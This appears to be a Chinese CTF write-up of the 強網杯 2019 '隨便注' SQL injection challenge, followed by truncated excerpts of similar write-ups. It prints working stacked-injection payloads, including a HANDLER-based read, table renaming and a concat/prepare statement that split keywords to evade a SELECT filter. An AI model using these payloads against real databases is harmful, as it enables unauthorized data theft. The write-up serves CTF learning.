感覺解完這道題學到挺多,記錄一下
測試1』 or 1=1#
成功回顯,存在字元注入,測試union
發現select被過濾了,猜測可以堆疊注入,先測試
成功回顯,看看當前資料庫的表名
這個1919810931114514表一看就很可疑,爆欄位
沒想到猜到了flag的位置,可是show是不能看字段值的,select也被過濾了 所以就想著去查一下有什麼可以代替select
查到了handler是可以代替select的 但好像只能在mysql用
1';handler `1919810931114514`
open
;handler `1919810931114514`
read first;
#
之前沒試過handler 沒想到真的可以用 flag出來了
這是參考了別的大佬的解法,查詢的固定是words裡面的id字段值
所以只要把1919810931114514表改名成words,flag欄位改名成id,在注入就可以查到flag
payloa
1';
rename table words to word1;
rename table 1919810931114514 to words;alter table words add id int unsigned not null auto_increment primary key; alert table words change flag data varchar(100)
;#
還有大佬用的是預定義
payload:
set @a=concat(
"sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()");
prepare dump from @a;
execute dump;//合起來就行
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...
強網杯 2019 隨便注
題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...